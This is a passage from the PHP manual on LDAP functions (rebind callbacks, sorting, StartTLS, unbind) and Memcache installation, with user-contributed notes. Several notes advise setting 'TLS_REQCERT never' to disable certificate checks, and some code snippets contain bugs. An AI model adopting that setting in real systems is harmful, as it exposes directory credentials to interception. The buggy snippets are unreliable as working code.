    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // The referral is of the form:
    //  ldaps://newhost/cn=user,ou=people,dc=example,dc=com
    $refparts = explode('/', $referral);
    if (count($refparts) > 2) {
        // Get the bind dn from referral
        $dn = $refparts[3];
        // Bind to new host
        if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1;
        }
    } else {
        // Try anonymous bind
        if (!ldap_bind($ldap)) {
            echo 'Could not bind to referral server anonymously';
            return 1;
        }
    }
    return 0;
}

// Initial ldap connection to slave server
$ldap_host = 'localhost'
$ds = ldap_connect($ldap_host);
// ldap options
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
ldap_set_option($ds, LDAP_OPT_REFERRALS, True)
// Set callback function
ldap_set_rebind_proc($ds, 'rebind'))
// bind
ldap_bind($ds, $dn, $pass)
// ldap write
ldap_modify($ds, $dn, $attr);

?>

Accessing passwords and other data from your callback is easier if you use a class method as the callback function. The callback would be initialized like this:

<?php

ldap_set_rebind_proc($ldap, 'MyClass::rebind');

?>
Anonymous 26-Feb-2011 11:40
I have now spent enough time looking at this issue to say that ldap referrals, at least when trying to add, modify or delete a record on a slave server that correctly gives a referral to a master server, does not work in php. My suggestion is turn turn off ldap referrals and write your own add, modify and delete functions with built in referral handling. Something like this:

<?php
function ldap_referral_add($connection,$add_dn,$Add_entry,$bind_dn,$bind_pw)
    {
    $rconnection = $connection;
    $loop = 10; # max number of referral hops.
    # Turn off normal referrals
    ldap_get_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting)
    do
        {
        $response = ldap_add($rconnection,$dn,$entry);
        # We get a success message:
        if ( $response )
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return true;
            }
        # We get a referral message:
        elseif ( !$response && ldap_errno($rconnection) == 0x0a )
            {
            $new_server_url = $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $ldap_error($rconnection)); # May need some sanity checking here
            $rconnection = ldap_connect($new_server_url);
            ldap_set_option($rconnection,LDAP_OPT_REFERRALS,0)
            ldap_set_option($rconnection,LDAP_OPT_PROTOCOL_VERSION, 3)
            ldap_bind($rconnection,$bind_dn,$bind_pw);
            $loop = $loop - 1;
            }
        else
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return false;
            }
        } while ( $loop > 0);
    }
?>
mvanbeek at forgetaboutit dot net 15-Jun-2010 11:13
I have had quite a hard time finding good information about chasing referrals so I am adding my tuppence worth here. I still haven't got my test code working fully so please look further down the page for updates.

The way this appears to have to work is that you use this function to set a callback function of your own to connect and bind to the referral server. you need to set this along with forcing v3 ldap and setting the referral chasing to on as part of setting up the initial connection, so just after the connect but before the bind, you need something like:

<?php
        $ds = ldap_connect($server);
        ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ds, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ds, "rebind");
        ldap_bind($ds,$dn,$pass);
?>

This callback function (called rebind in the above example needs two arguments. These arguments are preset and are supplied when the callback function is called. The first is the ldap link identifier. I assume this is supplied as the function could be used successively by a number of consecutive referrals. The second is the ldap referral URL supplied by the initial server. I have seen notes that say this function must be defined prior to being set by ldap_set_rebind_proc, but as yet I cannot confirm this.

My setup is based on a master - slave ldap server configuration, with the PHP application residing on the slave where it does localhost lookups. When your try to write to the slave ldap server, the server returns a referral URL, and the internal PHP function then calls the callback function.

Despite the code already on this page, which appears to also be used to test the PHP code, I believe it is wrong. I think it simply reconnects to the initial server. I believe that what the callback function should do is to connect to the new server, and bind to it. My test code currently looks like this:

<?php
function rebind($ldap, $referral) {
        global $dn;
        global $pass;
        $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $referral);
        if (!($ldap = ldap_connect($server))){
                echo "reconnect failed - <br>";
                return 1;
        }
        ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ldap, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ldap, "rebind");
        if (!ldap_bind($ldap,$dn,$pass)){
                echo "rebind failed - <br>";
                return 1;
        }
        return 0;
}
?>

As far as I can tell, a return value of 0 means success and any other value means it has failed. The complete lack of documentation doesn't help.

The above code works all the way to authenticating against the new server, but at the moment I appear to be getting an unbind request before it tries to write the record to the new server, so it fails.

I would also recommend adding a ldap_start_tls before the bind as well.
pearcec at commnav dot com 01-May-2003 04:09
PHP expects the ldap function ldap_set_rebind_proc to be the one that has tree parameters.  As far as I can tell this isn't in the 2.0 release of OpenLDAP.  But made it into 2.1.  Configure will tell you

checking for 3 arg ldap_set_rebind_proc... no
night0wl at frost dot ath dot cx 02-Apr-2003 07:19
Couse there was no example code for this function, i had alot of troubles to make it work properly.

So, here is working example:

function rebind_on_ref ($ds, $ldap_url) {
  global $binddn;    // DN used to bind
  global $bindpw;    // password used to bind

  // required by most modern LDAP servers, use LDAPv3
  ldap_set_option($a, LDAP_OPT_PROTOCOL_VERSION, 3);

  if (!ldap_bind($a,$binddn,$bindpw)) {
        print "Cannot bind";
  }
}
randy at kotmail dot com 25-Apr-2002 04:46
If rebind_proc isn't compiled in slapd, your will never get that funtction working. Check out the new alpha release of slapd and rtfm.


Sort LDAP result entries on the client side

  • ? ldap_set_rebind_proc
  • ldap_start_tls ?
  • PHP Manual
  • LDAP 函数
  • Sort LDAP result entries on the client side

ldap_sort

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

ldap_sort — Sort LDAP result entries on the client side

Warning

此函数自 PHP 7.0.0 起弃用且 PHP 8.0.0 起删除。强烈建议不要应用此特性。

说明

ldap_sort(resource $link, resource $result, string $sortfilter): bool

Sort the result of a LDAP search, returned by ldap_search().

As this function sorts the returned values on the client side it is possible that you might not get the expected results in case you reach the sizelimit either of the server or defined within ldap_search().

参数

link

An LDAP resource, returned by ldap_connect().

result

An search result identifier, returned by ldap_search().

sortfilter

The attribute to use as a key in the sort.

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | This function has been removed.

示例

Sorting the result of a search.

Example #1 LDAP sort

<?php
// $ds is a valid link identifier (see ldap_connect)

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

$sr = ldap_search($ds, $dn, $filter, $justthese);

// Sort
ldap_sort($ds, $sr, 'sn');

// Retrieving the data
$info = ldap_get_entries($ds, $sr);

User Contributed Notes

fbernardi at bbros dot it 20-Jan-2016 10:30
In order to order by multiple fields you can order your array many times:
For example:

        ldap_sort($link, $result, 'givenname');
        ldap_sort($link, $result, 'sn');
thorben at kapp-hamburg dot de 07-Jan-2011 04:46
I wondered how to sort after a dn, for just show a tree view. I tried to set $sortfilter = 'dn', but that didn't work. Than I tried with a blank string ''. That worked, the entries are sorted by dn.
ben at xsusio dot com 03-Sep-2004 02:33
If you are wanting to sort by multiple attributes, for instance ordering by last name and then first name,  try this function. This is similar to "ORDER BY lastname, firstname"  in SQL.

This function uses an insertion sort algorithm, which is somewhat faster then the old-fashoned bubble sort.  The second argument is an array containing the attributes you want to sort by. (this functon won't do descending or ascending..  feel free to add it!)

<?php
/**
 * @param array $entries
 * @param array $attribs
 * @desc Sort LDAP result entries by multiple attributes.
*/
function ldap_multi_sort(&$entries, $attribs){
    for ($i=1; $i<$entries['count']; $i++){
        $index = $entries[$i];
        $j=$i;
        do {
            //create comparison variables from attributes:
            $a = $b = null;
            foreach($attribs as $attrib){
                $a .= $entries[$j-1][$attrib][0];
                $b .= $index[$attrib][0];
            }
            // do the comparison
            if ($a > $b){
                $is_greater = true;
                $entries[$j] = $entries[$j-1];
                $j = $j-1;
            }else{
                $is_greater = false;
            }
        } while ($j>0 && $is_greater);

        $entries[$j] = $index;
    }
    return $entries;
}
?>
zbaizman at yahoo dot com 06-Aug-2004 06:15
This note may be self-evident, but the functionality of ldap_sort threw off this sometime user of relational databases.

The following code will NOT do what you expect:

<?php

// omitted calls to connect and and bind to LDAP server...

// attributes we want to retrieve from LDAP server
$ldap_attributes = array ( 'cn', 'o', 'mail' ) ;

// retrieve attributes from matching entries
$search_results = ldap_search ( $ldap_conn, 'dc=example,dc=org', '(objectclass=*)', 0, 500, 30 ) ;

// sort entries by last name ('sn')
ldap_sort ( $ldap_conn, $search_results, 'sn' ) ;

?>

The entries will NOT be sorted by last name. Why not? Because LDAP doesn't function like a RDBMS; you cannot sort a result set on an arbitrary field, regardless of whether you "selected" it. You must always include the attribute by which you want to sort your entries among the requested attributes (add 'sn' to $ldap_attributes, in this case).

Hope this is helpful to some other folks who scratched their heads when they tried to sort entries and it didn't work out...
askgopal at sify dot com 04-Sep-2003 08:07
Here's a simple LDAP sort function I wrote:

<?php
function sort_ldap_entries($e, $fld, $order)
{
    for ($i = 0; $i < $e['count']; $i++) {
        for ($j = $i; $j < $e['count']; $j++) {
            $d = strcasecmp($e[$i][$fld][0], $e[$j][$fld][0]);
            switch ($order) {
            case 'A':
                if ($d > 0)
                    swap($e, $i, $j);
                break;
            case 'D':
                if ($d < 0)
                    swap($e, $i, $j);
                break;
            }
        }
    }
    return ($e);
}

function swap(&$ary, $i, $j)
{
    $temp = $ary[$i];
    $ary[$i] = $ary[$j];
    $ary[$j] = $temp;
}
?>

so that it can be invoked like:

<?php
    $entries = sort_ldap_entries($entries, 'mail', 'A'); // sort entries by ascending order of mail
?>

where,
    `$entries' is the array returned by ldap_get_entries() function.

This might be useful to those who still run older versions of PHP (<= 4.2.0) on their web servers :-)
jason dot sokolowski at rotork dot com 06-Sep-2002 01:51
Something real simple i wrote to sort directory searches by a persons last name.

<?php
for($i=0;$i<$result["count"];$i++)
{

$lastname = $result[$i]["sn"][0];

$lnames["$i"]=$lastname;

}//for i

@asort($lnames);
?>
matthew dot j dot gray at uwrf dot edu 25-Jun-2002 02:47
This function applies strcmp() to each attribute (given by sortfilter) in order to sort the entries returned by the server.  To order search results ascending by last name, try passing "sn" as the sortfilter argument.  This function does not play nice with multi-valued attributes.


Start TLS

  • ? ldap_sort
  • ldap_t61_to_8859 ?
  • PHP Manual
  • LDAP 函数
  • Start TLS

ldap_start_tls

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ldap_start_tls — Start TLS

说明

ldap_start_tls(LDAP\Connection $ldap): bool
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

krunoslav at yottabyte dot hr 14-Sep-2021 09:55
just moved CA certificate (b64 encoded) from
/root/cert/ldaps.pem to
/etc/openldap/certs/ldaps.pem
without permission setting, and it works fine

cp /root/cert/ldaps.pem  /etc/openldap/certs/ldaps.pem

ls -l  /root/cert/ldaps.cert /etc/openldap/certs/ldaps.pem

-rw-r--r-- 1 root root 3696 Sep  3 16:12 /etc/openldap/certs/ldaps.pem
-rw-r--r-- 1 root root 3696 Sep 14 11:46 /root/cert/ldaps.pem

cat  /etc/openldap/ldap.conf

#TLS_CACERT /root/cert/ldaps.pem
TLS_CACERT /etc/openldap/certs/ldaps.pem
NOYB at NOYB dot info 12-Oct-2019 05:34
Security Warning:

To avoid the StripTLS attack vulnerability of StartTLS, code your application to not continue unless the connection is successfully upgraded to TLS.

For StripTLS attack vulnerability anatomy details please conduct a web search for "StripTLS".

There is a good article on Wikipedia titled "Opportunistic TLS".  The "Weaknesses and mitigations" section details the StripTLS attack vulnerability.
pficheux at prologue-numerique dot fr 22-Jan-2018 09:30
Windows only: you must add a ldaprc file in your current directory so ldap can validate the server certificate

something like :

# no verification here
TLS_REQCERT never
med dot ezzairi at gmail dot com 11-Sep-2014 10:05
For all users,admins how are using or taying to connect to Microsoft Active Directory with PHP openLDAP extension, Apache,OpenSSL and they are getting:
"Warning: ldap_bind(): Unable to bind to server: Can't contact LDAP server"
here is the solution as i did:
--------------------------------
upgrade to PHP 5.4.x
creat a directory as: C:\openldap\sysconf\ldap.conf

write into this file (ldap.conf):
TLS_CACERT path\to\your\CA\cert\file.crt

(like d:\monCA_Cert\ca.crt)

restart your apache web server, and refresh your page and tell me (allah yar7am lwalidin)in arabic

for more here's my mail:med.ezzairi@gmail.com
deguich at hotmail dot com 04-Jun-2014 12:51
When you have this error:
Warning: ldap_start_tls() [function.ldap-start-tls]: Unable to start TLS: Connect error in /var/www/X.php on line Y

It's probably because of a certificate validity issue. You can check the error by adding debug level:
<?php
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);
?>
This can be done before the ldap_connect takes place.

To fix the certificate validity issue:
add
TLS_REQCERT never
in file (create it if not exist)
c:\openldap\sysconf\ldap.conf    <= Windows
/etc/ldap.conf     <= linux
A restart of the web server may be required to apply changes
It's probably not the best solution but it works ...

Another thing to be aware of is that it requires version 3 (version 2 is php default):
<?php
$con = ldap_connect($hostnameSSL);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Another tip : the second parameter of ldap_connect is not used if you use an URL like "ldap://..." (port 389 automatically used) or "ldaps://..."  (port 636 automatically used).
Richard Lynch 02-Mar-2012 05:28
In my experience:

1)
PHP / openldap / whatever could NOT read .pem files.
They had to be .pfx or .cer
(I don't even know which one worked. I converted the .pem to both and called it done.)

2)
In /etc/openldap/ldap.conf you must:
Either set TLS_CACERT /etc/openldap/cacerts/YOURCERT.pfx
Or set TLS_CACERTDIR /etc/openldap/cacerts/
The first one constrains you to a specific cert.
The latter tries all of them in the directory.

3)
You have various options for TLS_REQCERT:
allow (use it if you need it)
require (must have a cert)
You'll have to read openldap docs for the rest.
I used allow, and it worked.
ymmv

4)
I did not change anything in the (very long) default /etc/ldap.conf file

5)
I did not change anything in the self-documenting /etc/autofs_ldap_auth.conf
Mainly because I just found it while typing this up, and I have no idea what it does.  Presumably 'autofs' implies you can mount some LDAP server as a mount point or something at boot... Sounds funky to me, but knock yourself out playing with it.

This was all with various versions of PHP ranging from 5.2 to 5.3  No promises about other versions.

6)
ldapsearch -VV says it's 2.3.43
Dunno if that comes with openldap or I downloaded it separately. Long time ago.  Very handy CLI tool for mucking around without PHP in the middle, so you can cross-check that it's PHP or not.
schmunk at usrbin dot de 26-Sep-2011 03:37
PHP Warning:  ldap_start_tls(): Unable to start TLS: Operations error in /path/to/script.php

Do not use ldap_start_tls() if you've already connected to the LDAP Server via SSL e.g. "ldaps://hostame".
T. Le Meur 19-Oct-2010 06:11
Note that, on Windows, due to a bug in the php_ldap extension for php 5.3.2, the location of the ldap.conf may change.

In this case, PHP expects the ldap.conf file to be in the root filesystem where the Webserver Document root is installed (for instance C:\ldap.conf).

This seems to be fixed in PHP 5.3.3RC1

See the following bug reference:
http://bugs.php.net/bug.php?id=48866
victoriano at uma dot es 14-Jun-2010 12:00
ldaps:// (on port 636) is NOT the same as using STARTTLS on port 389.

The second method upgrades the security of a plain connection to an encrypted channel, which is strongly recommended for plain binding (DN/password).
josselin dot dulac at enscm dot fr 29-Jan-2010 07:19
Note : if you are using OpenLdap client > v2 and PHP > 4.0.4, you don't have to use that function. You just have to specify it using
<?php
ldap_connect("ldaps://yourhostname", 636);
?>

If you use both ldaps:// uri and ldap_start_tls function, you'll get a warning saying that a TLS/SSL session is already open.
jcarlos at dsi dot uclm dot es 01-Dec-2009 05:10
Tested in Linux, ubuntu 9.10, PHP/5.2.10-2 and Apache/2.2.1.2

INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS IN LINUX
=============================================================

I'm not an expert, but it works.

1)I have installed ubuntu 9.10 desktop

2)Packages:
 apt-get install apache2
 apt-get install libapache2-mod-php5
 apt-get install libldap-2.4-2
 apt-get install ldap-utils
 apt-get install libsasl2-modules-ldap
 apt-get install openssl
 apt-get install libsasl2-2
 apt-get install libkrb5-3
 apt-get install php5-ldap
 apt-get install php5-sasl
 apt-get install php5-auth-pam

3)Put the PEM certificate.
 cd /etc/ldap
 mkdir certs
 copy /myhome/mycert.pem /etc/ldap/certs/mycert.pem
 NOTE:webcert.crt rename to mycert.pem. It's the same

4)Edit the file /etc/ldap/ldap.conf and Add:
  TLS_REQCERT never
  TLS_CACERT /etc/ldap/certs/mycert.pem

5)Create file /var/www/ldaptlstest.php:

<?php

   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);

   if(!$ldapbind)
      echo "ERROR";
   else
      echo "OK";
?>

6)Restart the server: /etc/init.d/apache2 restart

7)Open Firefox and write: http://localhost/ldaptlstest.php
;)
jcarlos at dsi dot uclm dot es 26-Nov-2009 03:04
INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS
==================================================

My configuration:
Apache/2.2.14 (Win32) mod_ssl/2.2.14 OpenSSL/0.9.8k PHP/5.2.11

NOTE 1: At the momment, the versión 5.3.1 fail with tls
NOTE 2: This example works on windows, but in linux is similar

1) Download the Certificate X.509 (PEM format) from a web browser, I used Firefox. I put the name webcert.crt
2) Create the folder c:\openldap\sysconf
3) Copy the file webcert.crt to c:\openldap\sysconf
4) With notepad you must create the file c:\openldap\sysconf\ldap.conf file. The file contents:
TLS_REQCERT never
TLS_CACERT c:\openldap\sysconf\webcert.crt
5) The code:

<?php
   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);
   if(!$ldapbind)
       echo "ERROR";
   else
       echo "OK";
?>
pataisjsu at Yahoo.com 15-Nov-2007 02:55
I seemingly take forever to make use of ldap_start_tls work.
Especially lacking in document, I was frustrate and almost gave up until I saw this link in the php forum.
I thought it is worth for put the link in here.

http://marc.info/?l=php-windows&m=116127873321748&w=2

it is really work, and it saves me.
technosophos 06-Mar-2007 12:53
If your version was linked against the OpenLDAP libraries, you may want to look at the ldap.conf file for more information about specifying SSL/TLS behavior. Apparently, the settings in ldap.conf make a different in the way SSL/TLS is handled by PHP.
on at cs dot ait dot ac dot th 07-Aug-2006 12:00
More on TLS start.

It seems that either you ldap_connect to ldaps://, port 636 or you ldap_tls_start.

In my case, using ldaps on port 636 (to be sure I enforce TLS) the connection will go like:

$LDAP_SERVER="ldaps://ldap.../";
$LDAP_PORT=636;

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
     fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
   }
/*** NO NEED ***
*   if (!ldap_start_tls($ds)) {
*      exit;
*   }
***/
   // now we need to bind anonymously to the ldap server
   $bth = ldap_bind($ds);
   //make your query
bill at strosberg dot com 13-Apr-2005 10:42
Please note there is a difference between ldaps and start-TLS for ldap.  start-TLS uses port 389, while ldaps uses port 636.  ldaps has been deprecated in favour of start-TLS for ldap.  Both encrypted (start-TLS ldap)  and unencrypted ldap (ldap) run on port 389 concurrently.

Errors encountered are generally due to misunderstanding how to implement TLS-encrypted ldap.
claar at no dot spam dot ksu dot edu 28-Jun-2004 03:10
Note that (in my very limited experience) you cannot use the ldaps protocol with tls, or ldap_start_tls() will report "ldap_start_tls(): Unable to start TLS: Operations error", and ldap_error() will return error code 1.

I found that I had to call ldap_connect() with ldap:// rather than ldaps:// for ldap_start_tls() to succeed.  Hope this helps someone!
wirges-at-cerias.purdue.edu 22-Jul-2002 08:19
It should be mentioned, that TLS connections for LDAP *REQUIRE* you to use LDAP Protocol version 3.  By default, PHP uses Protocol 2.
Therefore, if you do not know this, you may be puzzled as to why you get "TLS not supported" error.

To get around this, just use ldap_set_option to make the LDAP connection use Protocol 3 (if supported).

For example:

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
    }
    if (!ldap_start_tls($ds)) {
       fatal_error("Ldap_start_tls failed");
    }
    // now we need to bind anonymously to the ldap server
    $bth = ldap_bind($ds);
    //make your query
}


Translate t61 characters to 8859 characters

  • ? ldap_start_tls
  • ldap_unbind ?
  • PHP Manual
  • LDAP 函数
  • Translate t61 characters to 8859 characters

ldap_t61_to_8859

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_t61_to_8859 — Translate t61 characters to 8859 characters

说明

ldap_t61_to_8859(string $value): string|false
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

jrble819 at gmail dot com 29-Jan-2016 08:51
This function doesn't appear to exist in PHP 7 even though the docs say it's in PHP 7
14-Apr-2004 07:47
Indeed, utf is the way to go as soon as you use non-english text, if you required portability. Don't forget to utf5_encode either.
The t61_8859 functions seem to be deprecated.


Unbind from LDAP directory

  • ? ldap_t61_to_8859
  • LDAP\Connection ?
  • PHP Manual
  • LDAP 函数
  • Unbind from LDAP directory

ldap_unbind

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_unbind — Unbind from LDAP directory

说明

ldap_unbind(LDAP\Connection $ldap): bool

Unbinds from the LDAP directory.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

参见

  • ldap_bind() - 绑定 LDAP 目录

User Contributed Notes

kmenard at wpi dot edu 29-Nov-2001 11:47
ldap_unbind kills the link descriptor.  So, if you want to rebind as another user, just bind again; don't unbind.  Otherwise, you'll have to open up a new connection.


The LDAP\Connection class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a ldap resource as of PHP 8.1.0.

类摘要

final class LDAP\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


The LDAP\Result class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a ldap result resource as of PHP 8.1.0.

类摘要

final class LDAP\Result {
}

User Contributed Notes

There are no user contributed notes for this page.


The LDAP\ResultEntry class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a ldap result entry resource as of PHP 8.1.0.

类摘要

final class LDAP\ResultEntry {
}

User Contributed Notes

There are no user contributed notes for this page.


Memcache

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 基础用法
  • Memcache — Memcache 类
    • Memcache::add — 增加一个条目到缓存服务器
    • Memcache::addServer — 向连接池中添加一个memcache服务器
    • Memcache::close — 关闭memcache连接
    • Memcache::connect — 打开一个memcached服务端连接
    • Memcache::decrement — 减小元素的值
    • Memcache::delete — 从服务端删除一个元素
    • Memcache::flush — 清洗（删除）已经存储的所有的元素
    • Memcache::get — 从服务端检回一个元素
    • Memcache::getExtendedStats — 缓存服务器池中所有服务器统计信息
    • Memcache::getServerStatus — 用于获取一个服务器的在线/离线状态
    • Memcache::getStats — 获取服务器统计信息
    • Memcache::getVersion — 返回服务器版本信息
    • Memcache::increment — 增加一个元素的值
    • Memcache::pconnect — 打开一个到服务器的持久化连接
    • Memcache::replace — 替换已经存在的元素的值
    • Memcache::set — 存储数据到服务器
    • Memcache::setCompressThreshold — 开启大值自动压缩
    • Memcache::setServerParams — 运行时修改服务器参数和状态
  • Memcache 函数
    • memcache_debug — 打开/关闭调试输出

User Contributed Notes

rob4226 at yahoo dot com 06-Nov-2021 06:53
Thanks to nono303 on GitHub we can run this PHP extension and memcached on Windows!  This is great for a dev environment to match a production unix server. I am using PHP 8.0 with this memcache extension on a Windows 10 box with a memcached server running on localhost and it is working great.

I can't post a link but the dll for this extension is at the repo: nono303/PHP-memcache-dll

And the actual memcached server for windows is at the repo: nono303/memcached
Lajos Veres 06-Mar-2018 05:30
3.0.8 is not really compatible with PHP 7, but this fork seems to be working:
https://github.com/websupport-sk/pecl-memcache

For new projects, memcacheD sounds safer, but this fork might help to keep  alive some legacy projects.

Debian package manager chose this version: https://github.com/websupport-sk/pecl-memcache/commit/4991c2fff22d00dc81014cc92d2da7077ef4bc86

Based on this:
http://ppa.launchpad.net/ondrej/php/ubuntu/pool/main/p/php-memcache/ https://packages.debian.org/sid/php/php-memcache
xrobau at gmail dot com 07-Sep-2017 01:35
Note that the Memcache 3.0.8 module DOES NOT WORK WITH PHP 7 (or higher)

There is an open bug about this - see https://bugs.php.net/bug.php?id=72887 and over 1 year old at time of writing - however, it appears that development of this module has been abandoned and the MemcacheD module is now the only way to access Memcache through PHP.

If you are writing a NEW tool, and you want to use Memcache, use the MemcacheD library.  If you are trying to repair an old tool, you'll either have to stick with PHP 5.6, or, spend the time reworking your code to use MemcacheD.
Anonymous 23-Feb-2015 08:25
I ran Gabriel's test above and had different results. I did find differences in the objects. For instance:
  'val' => string(7) "4542.32"
  'valD' => double(4542.32)

But, I think this could be resolved. Fairly easily.

 The main issue with the test was that one port is used. I ran another instance of memcached on a different port and changed the code slightly.  I used this code and had better success:

$servers = array(array('localserv', 11212));
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer('localserv', 11211);
$memcacheD->addServers($servers);
$memcacheD->setOption(Memcached::OPT_BINARY_PROTOCOL, true);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    } else {
        print "WAS COMPAT\n";
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    } else {
        print "WAS COMPAT\n";
    }
}
gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


简介

Memcache 模块为 memcached 提供了方便的面向过程及面向对象的接口，memcached 是为了降低动态 web 应用程序数据库负载的一种高效的缓存守护程序。

Memcache 模块同时提供了 session 处理程序（memcache）。

更多关于 memcached 的信息请参见 » http://www.memcached.org/。

User Contributed Notes

vidux dot me at gmail dot com 20-Jul-2021 11:36
i have faced a error when install Memcached.
"Memcached" class not found. im using php 7.4 with apache server on ubuntu 20.04. this is how i fixed it.. hope someone can help it.

first i installed

sudo apt install memcached libmemcached-tools

then check service status
sudo systemctl status memcached

then install php-memcached
sudo apt-get install -y php-memcached

and lastly
sudo apt-get install php7.4-memcached

then restarted Apache:
sudo service apache2 restart


需求

此模块使用了 » zlib 函数来支持数据压缩。因此安装此模块需要 Zlib。

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。 安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/memcache.

Note:

可以禁用 memcache session 处理程序的支持。"pecl install"选项对此进行提示（默认启用），但是当静态编译为 PHP 时，可以使用 --disable-memcache-session 配置选项。

User Contributed Notes

sidi dot khalifa at live dot fr 30-Jul-2021 07:16
I hope this will help someone,
Context: I wanted to use memcache
like this:

$memcache = new \Memcache();

but composer suggests me to install the extension
  "ext-memcache": "*",

but that one didn't want to work, so I installed

sudo apt install php7.4-memcache
sudo apt install php7.4-memcached

and all worked
andryzeus at ukr dot net 06-Jan-2012 02:10
If you have error with libtool version after make - way to install:
phpize --clean && phpize
rm aclocal.m4
aclocal
autoconf
./configure
make
make install
[memcache-2.2.6, gentoo.x86-64]
Felipe Estrella Barros 16-Oct-2011 03:54
On Slackware, after copilling it, you should copy the file /module/memcache.so to /usr/lib/httpd/modules. Then, the instruction extension=memcache.so must be added into the file /etc/httpd/php.ini

Restart the httpd and it should work!
